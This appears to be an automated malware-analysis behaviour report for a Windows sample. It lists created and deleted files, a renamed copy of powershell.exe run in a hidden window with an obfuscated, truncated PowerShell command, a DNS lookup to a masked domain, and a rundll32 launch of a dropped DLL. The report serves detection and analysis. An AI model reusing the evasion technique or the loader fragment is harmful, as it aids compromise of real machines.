Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%TEMP%\rmbggntz\ikugra.exe' $yyyywiayoraaeuufio_pkdtuicxco_hve='m 465;if';$oajxnpelow_eiixidfokcgjske_vqdkioar_ir='//s';$pksueau_oi_aqyhci_uyg='ntz'')';$dpimoqli_xbyzku='while(1';$teupytxdssrfitzzpjzaujthvhsh='ient).Do';$...
Modifies file system
Creates the following files
- %TEMP%\rmbggntz\certificate.format.ps1xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.commands.utility.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.commands.management.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.commands.diagnostics.dll-help.xml
- %TEMP%\rmbggntz\en-us\importallmodules.psd1
- %TEMP%\rmbggntz\en-us\default.help.txt
- %TEMP%\rmbggntz\en-us\about_ws-management_cmdlets.help.txt
- %TEMP%\rmbggntz\en-us\about_wmi_cmdlets.help.txt
- %TEMP%\rmbggntz\en-us\about_windows_powershell_ise.help.txt
- %TEMP%\rmbggntz\en-us\about_windows_powershell_2.0.help.txt
- %TEMP%\rmbggntz\en-us\about_wildcards.help.txt
- %TEMP%\rmbggntz\en-us\about_while.help.txt
- %TEMP%\rmbggntz\en-us\about_variables.help.txt
- %TEMP%\rmbggntz\en-us\about_type_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_types.ps1xml.help.txt
- %TEMP%\rmbggntz\en-us\about_trap.help.txt
- %TEMP%\rmbggntz\en-us\microsoft.powershell.security.dll-help.xml
- %TEMP%\rmbggntz\en-us\about_transactions.help.txt
- %TEMP%\rmbggntz\en-us\about_throw.help.txt
- %TEMP%\rmbggntz\en-us\about_switch.help.txt
- %TEMP%\rmbggntz\en-us\about_split.help.txt
- %TEMP%\rmbggntz\en-us\about_special_characters.help.txt
- %TEMP%\rmbggntz\en-us\about_signing.help.txt
- %TEMP%\rmbggntz\en-us\about_session_configurations.help.txt
- %TEMP%\rmbggntz\en-us\about_script_internationalization.help.txt
- %TEMP%\rmbggntz\en-us\about_script_blocks.help.txt
- %TEMP%\rmbggntz\en-us\about_scripts.help.txt
- %TEMP%\rmbggntz\en-us\about_scopes.help.txt
- %TEMP%\rmbggntz\en-us\about_return.help.txt
- %TEMP%\rmbggntz\en-us\about_reserved_words.help.txt
- %TEMP%\rmbggntz\en-us\about_try_catch_finally.help.txt
- %TEMP%\rmbggntz\en-us\about_pipelines.help.txt
- %TEMP%\rmbggntz\en-us\microsoft.wsman.management.dll-help.xml
- %TEMP%\rmbggntz\registry.format.ps1xml
- %TEMP%\rmbggntz\pwrshsip.dll
- %TEMP%\rmbggntz\pwrshmsg.dll
- %TEMP%\rmbggntz\pspluginwkr.dll
- %TEMP%\rmbggntz\psevents.dll
- %TEMP%\rmbggntz\powershell_ise.exe
- %TEMP%\rmbggntz\powershelltrace.format.ps1xml
- %TEMP%\rmbggntz\powershellcore.format.ps1xml
- %TEMP%\rmbggntz\powershell.exe
- %TEMP%\rmbggntz\modules\troubleshootingpack\troubleshootingpack.psd1
- %TEMP%\rmbggntz\modules\troubleshootingpack\troubleshootingpack.format.ps1xml
- %TEMP%\rmbggntz\modules\troubleshootingpack\en-us\microsoft.windows.diagnosis.troubleshootingpack.dll-help.xml
- %TEMP%\rmbggntz\modules\psdiagnostics\psdiagnostics.psm1
- %TEMP%\rmbggntz\modules\psdiagnostics\psdiagnostics.psd1
- %TEMP%\rmbggntz\en-us\about_requires.help.txt
- %TEMP%\rmbggntz\en-us\microsoft.powershell.consolehost.dll-help.xml
- %TEMP%\rmbggntz\modules\bitstransfer\en-us\about_bits_cmdlets.help.txt
- %TEMP%\rmbggntz\modules\bitstransfer\bitstransfer.psd1
- %TEMP%\rmbggntz\modules\bitstransfer\bitstransfer.format.ps1xml
- %TEMP%\rmbggntz\modules\applocker\en-us\microsoft.security.applicationid.policymanagement.cmdlets.dll-help.xml
- %TEMP%\rmbggntz\modules\applocker\applocker.psd1
- %TEMP%\rmbggntz\help.format.ps1xml
- %TEMP%\rmbggntz\getevent.types.ps1xml
- %TEMP%\rmbggntz\filesystem.format.ps1xml
- %TEMP%\rmbggntz\examples\profile.ps1
- %TEMP%\rmbggntz\en-us\system.management.automation.dll-help.xml
- %TEMP%\rmbggntz\en-us\pwrshmsg.dll.mui
- %TEMP%\rmbggntz\en-us\pspluginwkr.dll.mui
- %TEMP%\rmbggntz\en-us\psevents.dll.mui
- %TEMP%\rmbggntz\en-us\powershell_ise.resources.dll
- %TEMP%\rmbggntz\modules\bitstransfer\en-us\microsoft.backgroundintelligenttransfer.management.dll-help.xml
- %TEMP%\rmbggntz\en-us\powershell.exe.mui
- %TEMP%\rmbggntz\en-us\about_remote_troubleshooting.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_requirements.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_output.help.txt
- %TEMP%\rmbggntz\en-us\about_continue.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_advanced_methods.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_advanced.help.txt
- %TEMP%\rmbggntz\en-us\about_functions.help.txt
- %TEMP%\rmbggntz\en-us\about_format.ps1xml.help.txt
- %TEMP%\rmbggntz\en-us\about_foreach.help.txt
- %TEMP%\rmbggntz\en-us\about_for.help.txt
- %TEMP%\rmbggntz\en-us\about_execution_policies.help.txt
- %TEMP%\rmbggntz\en-us\about_eventlogs.help.txt
- %TEMP%\rmbggntz\en-us\about_escape_characters.help.txt
- %TEMP%\rmbggntz\en-us\about_environment_variables.help.txt
- %TEMP%\rmbggntz\en-us\about_do.help.txt
- %TEMP%\rmbggntz\en-us\about_debuggers.help.txt
- %TEMP%\rmbggntz\en-us\about_data_sections.help.txt
- %TEMP%\rmbggntz\types.ps1xml
- %TEMP%\rmbggntz\en-us\about_functions_cmdletbindingattribute.help.txt
- %TEMP%\rmbggntz\en-us\about_comparison_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_commonparameters.help.txt
- %TEMP%\rmbggntz\en-us\about_comment_based_help.help.txt
- %TEMP%\rmbggntz\en-us\about_command_syntax.help.txt
- %TEMP%\rmbggntz\en-us\about_command_precedence.help.txt
- %TEMP%\rmbggntz\en-us\about_break.help.txt
- %TEMP%\rmbggntz\en-us\about_automatic_variables.help.txt
- %TEMP%\rmbggntz\en-us\about_assignment_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_arrays.help.txt
- %TEMP%\rmbggntz\en-us\about_arithmetic_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_aliases.help.txt
- %TEMP%\rmbggntz\dotnettypes.format.ps1xml
- %TEMP%\rmbggntz\diagnostics.format.ps1xml
- %TEMP%\rmbggntz\compiledcomposition.microsoft.powershell.gpowershell.dll
- %TEMP%\rmbggntz\en-us\about_core_commands.help.txt
- %TEMP%\rmbggntz\modules\bitstransfer\microsoft.backgroundintelligenttransfer.management.interop.dll
- %TEMP%\rmbggntz\en-us\about_hash_tables.help.txt
- %TEMP%\rmbggntz\en-us\about_jobs.help.txt
- %TEMP%\rmbggntz\en-us\about_history.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_jobs.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_faq.help.txt
- %TEMP%\rmbggntz\en-us\about_remote.help.txt
- %TEMP%\rmbggntz\en-us\about_regular_expressions.help.txt
- %TEMP%\rmbggntz\en-us\about_ref.help.txt
- %TEMP%\rmbggntz\en-us\about_redirection.help.txt
- %TEMP%\rmbggntz\en-us\about_quoting_rules.help.txt
- %TEMP%\rmbggntz\en-us\about_pssnapins.help.txt
- %TEMP%\rmbggntz\en-us\about_pssession_details.help.txt
- %TEMP%\rmbggntz\en-us\about_pssessions.help.txt
- %TEMP%\rmbggntz\en-us\about_providers.help.txt
- %TEMP%\rmbggntz\en-us\about_properties.help.txt
- %TEMP%\rmbggntz\en-us\about_prompts.help.txt
- %TEMP%\rmbggntz\en-us\about_if.help.txt
- %TEMP%\rmbggntz\en-us\about_profiles.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_advanced_parameters.help.txt
- %TEMP%\rmbggntz\en-us\about_path_syntax.help.txt
- %TEMP%\rmbggntz\en-us\about_parsing.help.txt
- %TEMP%\rmbggntz\en-us\about_parameters.help.txt
- %TEMP%\rmbggntz\en-us\about_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_objects.help.txt
- %TEMP%\rmbggntz\en-us\about_modules.help.txt
- %TEMP%\rmbggntz\en-us\about_methods.help.txt
- %TEMP%\rmbggntz\en-us\about_logical_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_locations.help.txt
- %TEMP%\rmbggntz\en-us\about_line_editing.help.txt
- %TEMP%\rmbggntz\en-us\about_language_keywords.help.txt
- %TEMP%\rmbggntz\en-us\about_join.help.txt
- %TEMP%\rmbggntz\en-us\about_job_details.help.txt
- %TEMP%\rmbggntz\en-us\about_preference_variables.help.txt
- %TEMP%\rmbggntz\wsman.format.ps1xml
Deletes the following files
- %TEMP%\rmbggntz\en-us\about_aliases.help.txt
- %TEMP%\rmbggntz\en-us\powershell.exe.mui
- %TEMP%\rmbggntz\en-us\microsoft.wsman.management.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.security.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.consolehost.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.commands.utility.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.commands.management.dll-help.xml
- %TEMP%\rmbggntz\en-us\microsoft.powershell.commands.diagnostics.dll-help.xml
- %TEMP%\rmbggntz\en-us\importallmodules.psd1
- %TEMP%\rmbggntz\en-us\default.help.txt
- %TEMP%\rmbggntz\en-us\about_ws-management_cmdlets.help.txt
- %TEMP%\rmbggntz\en-us\about_wmi_cmdlets.help.txt
- %TEMP%\rmbggntz\en-us\about_windows_powershell_ise.help.txt
- %TEMP%\rmbggntz\en-us\about_windows_powershell_2.0.help.txt
- %TEMP%\rmbggntz\en-us\about_wildcards.help.txt
- %TEMP%\rmbggntz\en-us\about_variables.help.txt
- %TEMP%\rmbggntz\en-us\psevents.dll.mui
- %TEMP%\rmbggntz\en-us\about_type_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_types.ps1xml.help.txt
- %TEMP%\rmbggntz\en-us\about_try_catch_finally.help.txt
- %TEMP%\rmbggntz\en-us\about_trap.help.txt
- %TEMP%\rmbggntz\en-us\about_transactions.help.txt
- %TEMP%\rmbggntz\en-us\about_throw.help.txt
- %TEMP%\rmbggntz\en-us\about_switch.help.txt
- %TEMP%\rmbggntz\en-us\about_split.help.txt
- %TEMP%\rmbggntz\en-us\about_special_characters.help.txt
- %TEMP%\rmbggntz\en-us\about_signing.help.txt
- %TEMP%\rmbggntz\en-us\about_session_configurations.help.txt
- %TEMP%\rmbggntz\en-us\about_script_internationalization.help.txt
- %TEMP%\rmbggntz\en-us\about_script_blocks.help.txt
- %TEMP%\rmbggntz\en-us\about_while.help.txt
- %TEMP%\rmbggntz\en-us\about_properties.help.txt
- %TEMP%\rmbggntz\en-us\pspluginwkr.dll.mui
- %TEMP%\rmbggntz\registry.format.ps1xml
- %TEMP%\rmbggntz\pwrshsip.dll
- %TEMP%\rmbggntz\pwrshmsg.dll
- %TEMP%\rmbggntz\pspluginwkr.dll
- %TEMP%\rmbggntz\psevents.dll
- %TEMP%\rmbggntz\powershell_ise.exe
- %TEMP%\rmbggntz\powershelltrace.format.ps1xml
- %TEMP%\rmbggntz\powershellcore.format.ps1xml
- %TEMP%\rmbggntz\ikugra.exe
- %TEMP%\rmbggntz\help.format.ps1xml
- %TEMP%\rmbggntz\getevent.types.ps1xml
- %TEMP%\rmbggntz\filesystem.format.ps1xml
- %TEMP%\rmbggntz\dotnettypes.format.ps1xml
- %TEMP%\rmbggntz\diagnostics.format.ps1xml
- %TEMP%\rmbggntz\en-us\about_scripts.help.txt
- %TEMP%\rmbggntz\en-us\powershell_ise.resources.dll
- %TEMP%\rmbggntz\modules\troubleshootingpack\troubleshootingpack.psd1
- %TEMP%\rmbggntz\modules\troubleshootingpack\troubleshootingpack.format.ps1xml
- %TEMP%\rmbggntz\modules\troubleshootingpack\en-us\microsoft.windows.diagnosis.troubleshootingpack.dll-help.xml
- %TEMP%\rmbggntz\modules\psdiagnostics\psdiagnostics.psm1
- %TEMP%\rmbggntz\modules\psdiagnostics\psdiagnostics.psd1
- %TEMP%\rmbggntz\modules\bitstransfer\microsoft.backgroundintelligenttransfer.management.interop.dll
- %TEMP%\rmbggntz\modules\bitstransfer\bitstransfer.psd1
- %TEMP%\rmbggntz\modules\bitstransfer\bitstransfer.format.ps1xml
- %TEMP%\rmbggntz\modules\bitstransfer\en-us\microsoft.backgroundintelligenttransfer.management.dll-help.xml
- %TEMP%\rmbggntz\modules\bitstransfer\en-us\about_bits_cmdlets.help.txt
- %TEMP%\rmbggntz\modules\applocker\applocker.psd1
- %TEMP%\rmbggntz\modules\applocker\en-us\microsoft.security.applicationid.policymanagement.cmdlets.dll-help.xml
- %TEMP%\rmbggntz\examples\profile.ps1
- %TEMP%\rmbggntz\en-us\system.management.automation.dll-help.xml
- %TEMP%\rmbggntz\certificate.format.ps1xml
- %TEMP%\rmbggntz\en-us\pwrshmsg.dll.mui
- %TEMP%\rmbggntz\en-us\about_scopes.help.txt
- %TEMP%\rmbggntz\en-us\about_return.help.txt
- %TEMP%\rmbggntz\en-us\about_reserved_words.help.txt
- %TEMP%\rmbggntz\en-us\about_do.help.txt
- %TEMP%\rmbggntz\en-us\about_history.help.txt
- %TEMP%\rmbggntz\en-us\about_hash_tables.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_cmdletbindingattribute.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_advanced_parameters.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_advanced_methods.help.txt
- %TEMP%\rmbggntz\en-us\about_functions_advanced.help.txt
- %TEMP%\rmbggntz\en-us\about_functions.help.txt
- %TEMP%\rmbggntz\en-us\about_format.ps1xml.help.txt
- %TEMP%\rmbggntz\en-us\about_foreach.help.txt
- %TEMP%\rmbggntz\en-us\about_for.help.txt
- %TEMP%\rmbggntz\en-us\about_execution_policies.help.txt
- %TEMP%\rmbggntz\en-us\about_eventlogs.help.txt
- %TEMP%\rmbggntz\en-us\about_escape_characters.help.txt
- %TEMP%\rmbggntz\types.ps1xml
- %TEMP%\rmbggntz\en-us\about_jobs.help.txt
- %TEMP%\rmbggntz\en-us\about_debuggers.help.txt
- %TEMP%\rmbggntz\en-us\about_data_sections.help.txt
- %TEMP%\rmbggntz\en-us\about_core_commands.help.txt
- %TEMP%\rmbggntz\en-us\about_continue.help.txt
- %TEMP%\rmbggntz\en-us\about_comparison_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_commonparameters.help.txt
- %TEMP%\rmbggntz\en-us\about_comment_based_help.help.txt
- %TEMP%\rmbggntz\en-us\about_command_syntax.help.txt
- %TEMP%\rmbggntz\en-us\about_command_precedence.help.txt
- %TEMP%\rmbggntz\en-us\about_break.help.txt
- %TEMP%\rmbggntz\en-us\about_automatic_variables.help.txt
- %TEMP%\rmbggntz\en-us\about_assignment_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_arrays.help.txt
- %TEMP%\rmbggntz\en-us\about_arithmetic_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_environment_variables.help.txt
- %TEMP%\rmbggntz\compiledcomposition.microsoft.powershell.gpowershell.dll
- %TEMP%\rmbggntz\en-us\about_job_details.help.txt
- %TEMP%\rmbggntz\en-us\about_line_editing.help.txt
- %TEMP%\rmbggntz\en-us\about_join.help.txt
- %TEMP%\rmbggntz\en-us\about_requires.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_troubleshooting.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_requirements.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_output.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_jobs.help.txt
- %TEMP%\rmbggntz\en-us\about_remote_faq.help.txt
- %TEMP%\rmbggntz\en-us\about_remote.help.txt
- %TEMP%\rmbggntz\en-us\about_regular_expressions.help.txt
- %TEMP%\rmbggntz\en-us\about_ref.help.txt
- %TEMP%\rmbggntz\en-us\about_redirection.help.txt
- %TEMP%\rmbggntz\en-us\about_quoting_rules.help.txt
- %TEMP%\rmbggntz\en-us\about_pssnapins.help.txt
- %TEMP%\rmbggntz\en-us\about_pssession_details.help.txt
- %TEMP%\rmbggntz\en-us\about_language_keywords.help.txt
- %TEMP%\rmbggntz\en-us\about_pssessions.help.txt
- %TEMP%\rmbggntz\en-us\about_if.help.txt
- %TEMP%\rmbggntz\en-us\about_prompts.help.txt
- %TEMP%\rmbggntz\en-us\about_profiles.help.txt
- %TEMP%\rmbggntz\en-us\about_preference_variables.help.txt
- %TEMP%\rmbggntz\en-us\about_pipelines.help.txt
- %TEMP%\rmbggntz\en-us\about_path_syntax.help.txt
- %TEMP%\rmbggntz\en-us\about_parsing.help.txt
- %TEMP%\rmbggntz\en-us\about_parameters.help.txt
- %TEMP%\rmbggntz\en-us\about_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_objects.help.txt
- %TEMP%\rmbggntz\en-us\about_modules.help.txt
- %TEMP%\rmbggntz\en-us\about_methods.help.txt
- %TEMP%\rmbggntz\en-us\about_logical_operators.help.txt
- %TEMP%\rmbggntz\en-us\about_locations.help.txt
- %TEMP%\rmbggntz\en-us\about_providers.help.txt
- %TEMP%\rmbggntz\wsman.format.ps1xml
Moves the following files
- from %TEMP%\rmbggntz\powershell.exe to %TEMP%\rmbggntz\ikugra.exe
Network activity
UDP
- DNS ASK sp####ltravels.org
Miscellaneous
Creates and executes the following
- '%TEMP%\rmbggntz\ikugra.exe' $yyyywiayoraaeuufio_pkdtuicxco_hve='m 465;if';$oajxnpelow_eiixidfokcgjske_vqdkioar_ir='//s';$pksueau_oi_aqyhci_uyg='ntz'')';$dpimoqli_xbyzku='while(1';$teupytxdssrfitzzpjzaujthvhsh='ient).Do';$...' (with hidden window)
Executes the following
- '<SYSTEM32>\rundll32.exe' %APPDATA%\xnbjyis.dll f1
